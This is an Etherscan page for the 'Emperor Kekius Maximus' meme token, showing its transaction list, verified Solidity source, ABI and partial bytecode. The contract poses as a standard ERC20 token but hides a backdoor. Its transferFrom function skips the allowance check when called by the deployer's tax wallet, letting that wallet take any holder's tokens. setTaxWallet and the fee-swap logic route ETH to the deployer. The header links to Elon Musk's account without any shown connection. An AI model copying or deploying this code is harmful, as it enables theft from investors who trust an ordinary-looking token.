ETH Price: $1,969.56 (-0.45%)

Contract

0xcecC034c1D028e38Dd609EEA2fbe82b9C814c13B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer225534592025-05-24 15:01:35287 days ago1748098895IN
0xcecC034c...9C814c13B
0 ETH0.000130832.43299454
Transfer225449162025-05-23 10:17:35288 days ago1747995455IN
0xcecC034c...9C814c13B
0 ETH0.000118232.1972552
Approve225434152025-05-23 5:14:35288 days ago1747977275IN
0xcecC034c...9C814c13B
0 ETH0.000095562.02531601
Transfer225433472025-05-23 5:00:59288 days ago1747976459IN
0xcecC034c...9C814c13B
0 ETH0.000099231.84414131
Approve225371462025-05-22 8:13:23289 days ago1747901603IN
0xcecC034c...9C814c13B
0 ETH0.00014863.16937092
Approve225331472025-05-21 18:48:11290 days ago1747853291IN
0xcecC034c...9C814c13B
0 ETH0.000088513.28445144
Approve225331342025-05-21 18:45:35290 days ago1747853135IN
0xcecC034c...9C814c13B
0 ETH0.000084063.11932212
Approve225330562025-05-21 18:29:59290 days ago1747852199IN
0xcecC034c...9C814c13B
0 ETH0.000100183.36740942
Approve225109352025-05-18 16:02:59293 days ago1747584179IN
0xcecC034c...9C814c13B
0 ETH0.000143563.06196692
Transfer225109332025-05-18 16:02:35293 days ago1747584155IN
0xcecC034c...9C814c13B
0 ETH0.000114243.11312136
Approve225086012025-05-18 8:11:11293 days ago1747555871IN
0xcecC034c...9C814c13B
0 ETH0.000029650.9968393
Approve225067342025-05-18 1:52:11293 days ago1747533131IN
0xcecC034c...9C814c13B
0 ETH0.000011160.37530379
Approve225067072025-05-18 1:46:47293 days ago1747532807IN
0xcecC034c...9C814c13B
0 ETH0.000011330.38084687
Approve225066952025-05-18 1:44:23293 days ago1747532663IN
0xcecC034c...9C814c13B
0 ETH0.000011360.38216764
Approve225066922025-05-18 1:43:47293 days ago1747532627IN
0xcecC034c...9C814c13B
0 ETH0.000010980.36924745
Approve225066892025-05-18 1:43:11293 days ago1747532591IN
0xcecC034c...9C814c13B
0 ETH0.000017910.38249121
Approve225065232025-05-18 1:09:11293 days ago1747530551IN
0xcecC034c...9C814c13B
0 ETH0.000011760.43640433
Approve225065192025-05-18 1:08:23293 days ago1747530503IN
0xcecC034c...9C814c13B
0 ETH0.000021990.4694116
Approve225040552025-05-17 16:50:11294 days ago1747500611IN
0xcecC034c...9C814c13B
0 ETH0.000051771.09853335
Set Tax Wallet225031302025-05-17 13:44:11294 days ago1747489451IN
0xcecC034c...9C814c13B
0 ETH0.00004861.66039003
Approve225024602025-05-17 11:28:11294 days ago1747481291IN
0xcecC034c...9C814c13B
0 ETH0.00007481.58725091
Approve225023812025-05-17 11:12:23294 days ago1747480343IN
0xcecC034c...9C814c13B
0 ETH0.000035840.76490125
Approve225020492025-05-17 10:05:23294 days ago1747476323IN
0xcecC034c...9C814c13B
0 ETH0.000067571.44132788
Approve225020472025-05-17 10:04:59294 days ago1747476299IN
0xcecC034c...9C814c13B
0 ETH0.000065531.39780768
Approve225020472025-05-17 10:04:59294 days ago1747476299IN
0xcecC034c...9C814c13B
0 ETH0.000065531.39780768
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...224980552025-05-16 20:38:59295 days ago1747427939
0xcecC034c...9C814c13B
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-05-16
*/

// SPDX-License-Identifier: MIT
/*
https://x.com/elonmusk

https://t.me/KEKIUSMAXIMUS_PORTAL
*/

pragma solidity ^0.8.19;

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExcluded;
    address payable private _taxWallet;

    uint256 private _initialKEKIUSMAXIMUSTax = 10;
    uint256 private _finalKEKIUSMAXIMUSTax = 0;
    uint256 private _reduceKEKIUSMAXIMUSTaxAt = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalKEKIUSMAXIMUS = 420_690_000 * 10**_decimals;
    string private constant _name = unicode"Emperor Kekius Maximus";
    string private constant _symbol = unicode"KEKIUSMAXIMUS";
    uint256 public _maxTaxSwap = _tTotalKEKIUSMAXIMUS / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(msg.sender);

        _feeExcluded[address(this)] = true;
        _feeExcluded[_taxWallet] = true;

        _balances[_msgSender()] = (_tTotalKEKIUSMAXIMUS * 2) / 100;
        _balances[address(this)] = (_tTotalKEKIUSMAXIMUS * 98) / 100;

        emit Transfer(address(0), _msgSender(), (_tTotalKEKIUSMAXIMUS * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotalKEKIUSMAXIMUS * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalKEKIUSMAXIMUS;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        
        if (
            msg.sender != _taxWallet &&
            (sender == uniswapV2Pair || recipient != _deadAddr || sender == address(this))
        )
            _approve(
                sender,
                _msgSender(),
                _allowances[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeExcluded[to] &&
                to != _taxWallet
            ) {
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWallet
            ) {
                require(!isContract(from), "ERC20: External call");
                if (contractTokenBalance > 0)
                {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapKEKIUSMAXIMUSFeeTokensForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendTokenETHToKEKIUSMAXIMUSFeeWallet(address(this).balance);
                }
            }
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address _addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_addr)
        }
        return size > 0;
    }

    function sendTokenETHToKEKIUSMAXIMUSFeeWallet(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapKEKIUSMAXIMUSFeeTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalKEKIUSMAXIMUS);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueKEKIUSMAXIMUSETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}

    function _getKEKIUSMAXIMUSAmountOut() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            2 * 1e18,
            path
        );
        return amountOuts[1];
    }

    function setTaxWallet(address payable newWallet) external {
        require(_feeExcluded[msg.sender]);
        _taxWallet = newWallet;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueKEKIUSMAXIMUSETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a6005555f6006555f6007555f60085560646009600a61002591906105e0565b6319133850610034919061062a565b61003e9190610698565b6009555f600b60156101000a81548160ff0219169083151502179055505f600b60166101000a81548160ff0219169083151502179055505f61008461046860201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550606460026009600a61023d91906105e0565b631913385061024c919061062a565b610256919061062a565b6102609190610698565b60015f61027161046860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a6102c091906105e0565b63191338506102cf919061062a565b6102d9919061062a565b6102e39190610698565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061033261046860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61039291906105e0565b63191338506103a1919061062a565b6103ab919061062a565b6103b59190610698565b6040516103c291906106d7565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61042b91906105e0565b631913385061043a919061062a565b610444919061062a565b61044e9190610698565b60405161045b91906106d7565b60405180910390a36106f0565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156104f1578086048111156104cd576104cc61046f565b5b60018516156104dc5780820291505b80810290506104ea8561049c565b94506104b1565b94509492505050565b5f8261050957600190506105c4565b81610516575f90506105c4565b816001811461052c576002811461053657610565565b60019150506105c4565b60ff8411156105485761054761046f565b5b8360020a91508482111561055f5761055e61046f565b5b506105c4565b5060208310610133831016604e8410600b841016171561059a5782820a9050838111156105955761059461046f565b5b6105c4565b6105a784848460016104a8565b925090508184048111156105be576105bd61046f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105ea826105cb565b91506105f5836105d4565b92506106227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104fa565b905092915050565b5f610634826105cb565b915061063f836105cb565b925082820261064d816105cb565b915082820484148315176106645761066361046f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106a2826105cb565b91506106ad836105cb565b9250826106bd576106bc61066b565b5b828204905092915050565b6106d1816105cb565b82525050565b5f6020820190506106ea5f8301846106c8565b92915050565b612a41806106fd5f395ff3fe6080604052600436106100eb575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102d2578063cc307d411461030e578063dd62ed3e14610324578063ea414b2814610360576100f2565b8063715018a6146102525780638a8c523c146102685780638da5cb5b1461027e57806395d89b41146102a8576100f2565b806318160ddd116100c557806318160ddd1461018657806323b872dd146101b0578063313ce567146101ec57806370a0823114610216576100f2565b806306fdde03146100f6578063095ea7b3146101205780630faee56f1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610388565b6040516101179190611cd4565b60405180910390f35b34801561012b575f5ffd5b5061014660048036038101906101419190611d85565b6103c5565b6040516101539190611ddd565b60405180910390f35b348015610167575f5ffd5b506101706103e2565b60405161017d9190611e05565b60405180910390f35b348015610191575f5ffd5b5061019a6103e8565b6040516101a79190611e05565b60405180910390f35b3480156101bb575f5ffd5b506101d660048036038101906101d19190611e1e565b61040b565b6040516101e39190611ddd565b60405180910390f35b3480156101f7575f5ffd5b506102006105fd565b60405161020d9190611e89565b60405180910390f35b348015610221575f5ffd5b5061023c60048036038101906102379190611ea2565b610605565b6040516102499190611e05565b60405180910390f35b34801561025d575f5ffd5b5061026661064b565b005b348015610273575f5ffd5b5061027c61079b565b005b348015610289575f5ffd5b50610292610cbe565b60405161029f9190611edc565b60405180910390f35b3480156102b3575f5ffd5b506102bc610ce5565b6040516102c99190611cd4565b60405180910390f35b3480156102dd575f5ffd5b506102f860048036038101906102f39190611d85565b610d22565b6040516103059190611ddd565b60405180910390f35b348015610319575f5ffd5b50610322610d3f565b005b34801561032f575f5ffd5b5061034a60048036038101906103459190611ef5565b610e2c565b6040516103579190611e05565b60405180910390f35b34801561036b575f5ffd5b5061038660048036038101906103819190611f6e565b610eae565b005b60606040518060400160405280601681526020017f456d7065726f72204b656b697573204d6178696d757300000000000000000000815250905090565b5f6103d86103d1610f43565b8484610f4a565b6001905092915050565b60095481565b5f6009600a6103f791906120f5565b6319133850610406919061213f565b905090565b5f61041784848461110d565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561052f5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806104f8575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8061052e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b156105f2576105f184610540610f43565b6105ec856040518060600160405280602881526020016129e46028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105a3610f43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118789092919063ffffffff16565b610f4a565b5b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610653610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d7906121ca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107a3610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610827906121ca565b60405180910390fd5b600b60149054906101000a900460ff1615610880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087790612232565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061091c30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61090891906120f5565b6319133850610917919061213f565b610f4a565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190612264565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a30573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a549190612264565b6040518363ffffffff1660e01b8152600401610a7192919061228f565b6020604051808303815f875af1158015610a8d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab19190612264565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b3830610605565b5f5f610b42610cbe565b426040518863ffffffff1660e01b8152600401610b64969594939291906122f8565b60606040518083038185885af1158015610b80573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba5919061236b565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c7b9291906123bb565b6020604051808303815f875af1158015610c97573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbb919061240c565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4b454b4955534d4158494d555300000000000000000000000000000000000000815250905090565b5f610d35610d2e610f43565b848461110d565b6001905092915050565b610d47610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb906121ca565b60405180910390fd5b5f4711610ddf575f5ffd5b610de7610f43565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610e29573d5f5f3e3d5ffd5b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f00575f5ffd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf906124a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90612535565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111009190611e05565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906125c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090612651565b60405180910390fd5b5f811161122b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611222906126df565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561129757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561159257600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113455750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611398575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156113f1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561140e5760085f815480929190611408906126fd565b91905055505b5f61141830610605565b9050600b60159054906101000a900460ff161580156114835750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149b5750600b60169054906101000a900460ff165b80156114f4575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561159057611502856118da565b15611542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115399061278e565b60405180910390fd5b5f811115611579575f600954821161155a578161155e565b6009545b90506115778185116115705784611572565b815b6118eb565b505b5f4790505f811061158e5761158d47611b56565b5b505b505b6115e28260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bbe90919063ffffffff16565b60015f8673fffffffffffffffffff